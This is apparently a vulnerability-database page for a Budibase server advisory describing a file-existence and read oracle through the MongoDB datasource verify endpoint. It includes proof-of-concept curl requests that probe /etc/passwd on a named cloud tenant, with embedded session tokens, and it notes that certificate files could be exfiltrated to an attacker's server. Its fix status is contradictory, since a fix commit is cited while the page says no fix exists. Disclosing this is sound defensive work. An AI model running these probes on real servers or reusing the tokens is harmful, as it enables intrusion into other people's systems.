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CVE-2026-73409 — @budibase/server

Fix: Budibase/budibase@e58aa31

CVE-2026-73409 is a CWE-203 vulnerability in @budibase/server. No vendor fix is recorded yet; mitigation options are listed below.

Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile

Also known asGHSA-ppr4-5f46-j9c6
Published
Aug 12, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Oct 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73409.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.13%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.2%0.3%Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@budibase/servernpm
30Kdownloads / week

Description

Summary

When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.

Root Cause

packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.

POC

Reproduction — paste each line, press Enter

Line 1 (existing file — proves the file is READ):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'

RESPONSE

{"connected":false,"error":"error:0480006C:PEM routines::no start line"}

Line 2 (missing file — path is reflected):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'

RESPONSE

{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}

Actual output

/etc/passwd               -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"}          (EXISTS, was READ)
/nonexistent/pentest/xyz  -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}   (MISSING, path reflected)

Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.

Impact

Who / what is affectedHow
The underlying multi-tenant Cloud serverArbitrary-path existence/read oracle from a builder account
Server config / secret files, other tenants' pathsLocated by enumerating paths (exists vs missing)
PEM/certificate files on the serverContent exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism)

Recommended Fix

  1. On managed/Cloud, disallow tlsCertificateKeyFile / tlsCAFile as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.
  2. Reject absolute and .. paths; confine any file reference to an allow-listed certificates directory.
  3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npm@budibase/serverall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of @budibase/server has shipped for CVE-2026-73409 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary When creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem. ## Root Cause `
O3 Security · Impact-Aware SCA

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